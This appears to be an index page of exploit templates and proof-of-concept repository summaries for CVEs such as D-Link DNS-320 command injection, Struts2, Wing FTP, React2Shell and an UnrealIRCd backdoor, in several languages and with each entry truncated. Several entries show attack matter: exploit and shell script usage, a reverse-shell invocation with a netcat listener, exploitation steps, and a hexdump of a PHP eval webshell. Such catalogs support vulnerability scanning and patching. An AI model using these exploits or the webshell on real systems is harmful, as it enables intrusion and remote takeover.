D-Link DNS-320 - Remote Code Execution

The loginmgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection. id: CVE-2019-16057 info: name: D-Link DNS-320 - Remote Code Execution author: DhiyaneshDk severity: critical description: | The loginmgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerabl...

PhpColl 2.5.1 Arbitrary File Upload

PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logosclients/ via clients/editclient.php. id: CVE-2017-6090 info: name: PhpColl 2.5.1 Arbitrary File Uplo...

XML-RPC Server - Remote Code Execution

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups. id: CVE-2017-11610 info: name: XML-RPC Serve...

Yii2 PHP Framework < 2.0.52 - Remote Code Execution

Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE. id: CVE-2024-58136 info: name: Yii2 PHP Framework 2.0.52 - Remote Code Execution author:...

RealTek Jungle SDK - Arbitrary Command Injection

There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system. id: CVE-2021-35395 info: name: RealTek Jungle SDK - Arbitrary Command Injection...

Wing FTP Server <= 7.4.3 - Remote Code Execution

Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution RCE flaw CVE-2025-47812. The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection into session files. These injected sessio...

Cobbler <3.3.0 - Remote Code Execution

Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method. id: CVE-2021-40323 info: name: Cobbler 3.3.0 - Remote Code Execution author: c-sh0 severity: critical description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via ...

WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file. id: CVE-2018-19207 info: name: WP GDPR Compliance 1.4.3 - Unauthenticated Call Any Action or...

Apache Struts2 S2-052 - Remote Code Execution

The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads. id: CVE-2017-9805 info: name:...

Apache OFBiz < 18.12.11 - Remote Code Execution

The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery SSRF id: CVE-2023-51467 info: name: Apache OFBiz 18.12.11 - Remote Code Execution author: your3cho severity: critical description: | The vulnerability allows attackers to bypass...

CVE-2020-17530

CVE-2020-17530 Apache Struts2 프레임워크는 Java EE 웹 애플리케이션 개발을 위한 웹 프레임워크입니다. Apache Struts는 2020년 12월 8일 S2-061 Struts 원격 코드 실행 취약점CVE-2020-17530을 공개했습니다. 특정 태그 등을 사용하는 경우 OGNL 표현식 주입 취약점이 발생할 수 있으며, 이로 인해 원격 코드 실행이 가능해져 위험이 매우 큽니다. 저희 대학의 Apache Struts 사용자분들께서는 취약점 공격을 차단하기 위해 가능한 빨리 보안 조치를 취하시기 바랍니...

TongDa-RCE

TongDa-RCE TongDa 파일 포함 + 파일 업로드로 인한 RCE 사용 방법 원격 RCE: python3 tongdarce.py targert getsehll: python3 tongdashell.py target...

CVE-2026-4813

CVE-2026-4813（CVSS-B 9.4 重大） Lutece Core 详细说明及更多内容请访问我的网站 5. 保存新的 XSL 表。 6. 导航至导出用户页面： /jsp/admin/user/ExportUsers.jsp 7. 选择我们刚刚创建的转换表并确认。 8. id 命令的结果应出现在导出的文件中。...

collision-webshell

Webshell 衝突 このリポジトリには、同じ MD5 ハッシュを持つ 2 つのファイルが含まれています: webshell.php normal.php ファイルの MD5: $ md5sum .php b719a17ae091ed45fb874c15b2d9663f normal.php b719a17ae091ed45fb874c15b2d9663f webshell.php webshell.php の Hexdump: $ hexdump -C webshell.php 00000000 3c 3f 3d 65 76 61 6c 28 24 5f 47 45 54 5b 31...

CVE-2025-55182-React2Shell

React2Shell React2Shell 은 최신 웹 프레임워크의 React Server ComponentsRSC에서 발견된 CRITICAL 원격 코드 실행RCE 취약점을 시연하는 개념 증명PoC 익스플로잇입니다. 이 PoC는 CVE-2025-55182를 대상으로 하며, 이는 React Server Components 구현의 안전하지 않은 역직렬화를 통해 인증되지 않은 원격 공격자 가 임의의 시스템 명령을 실행할 수 있게 하는 CVSS 10.0 취약점입니다. 🔍 취약점 개요 React2Shell 은 React Server...

CVE-2026-73570

🔴 CVE-2026-73570 — 高深刻度の未認証RCE ⚠️ 未認証のOSコマンドインジェクション → リモートコード実行 Zimbra Collaboration Suite · SNMP通知処理 🧠 概要 CVE-2026-73570 は、Zimbra Collaboration Suite の特定の構成に影響を与える高深刻度の OSコマンドインジェクション脆弱性 です。 この脆弱性は SNMP通知処理コンポーネント...

CVE-2026-25253

CVE-2026-25253 OpenClaw ワンクリックRCE ★ CVE-2026-25253 OpenClaw ワンクリックリモートコード実行 PoC ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e 概要 CVE-2026-25253 : OpenClaw 認証トークン窃取の脆弱性 説明: OpenClaw（別名 clawdbot または Moltbot）は v2026.1.29 より前のバージョンにおいて、細工された gatewayUrl クエリ文字列値を...

CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 백도어 Bash PoC 설명 UnrealIRCd 3.2.8.1 소스 tarball에 삽입된 백도어를 위한 Bash PoC입니다. 변조된 바이너리는 IRC 포트로 전송된 AB; 접두사가 붙은 임의의 명령을 실행합니다. 사용법 chmod +x exploit.sh ./exploit.sh 예제: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 실행 전에 리스너를 설정하세요: nc -lvnp 4444 작동 원리 백도어는 수신 데이터에...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 고급 익스플로잇 및 석사 학위 논문 연구 -brightred 신뢰할 수 없는 데이터 역직렬화 + React Server Components의 프로토타입 오염 Next.js Server Actions를 통한 인증되지 않은 원격 코드 실행 영향 범위: React 19.0.0 - 19.2.0 · 패치: React 19.0.1 / 19.1.2 / 19.2.1 2025년 12월 3일 고급 익스플로잇 시연 - 취약한 Next.js 애플리케이션에 대한 RCE 기본 명령, 인터랙티브 셸 ...

CVE-2026-2699

CVE-2026-2699 — Progress ShareFile Storage Zones Controller 認証バイパス 重大な認証バイパス（CVSS 9.8） ：顧客管理型 Progress ShareFile Storage Zones Controller SZC ≤ 5.12.3 に影響 📋 概要 CVE-2026-2699 は、Progress ShareFile Storage Zones Controller （顧客管理型デプロイメント）の Web インターフェースに影響を与える深刻な認証バイパス脆弱性です。...